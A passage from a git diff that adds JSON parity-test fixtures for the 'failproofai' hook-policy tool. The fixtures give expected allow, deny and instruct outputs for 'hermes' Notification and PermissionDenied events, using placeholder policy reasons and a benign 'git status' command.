"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0379659e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..28c58d7a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9b5da004 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5a88308d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..08336ae6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7bdbbba4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b888fa35 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..793b0995 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5a1c44c4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..57a2b919 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..eb567817 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..26505050 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ab371b61 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..41b54bfc --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..120b38ac --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2d08d5cc --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0da56f3f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ab4c0f81 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cc1a3f5c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + 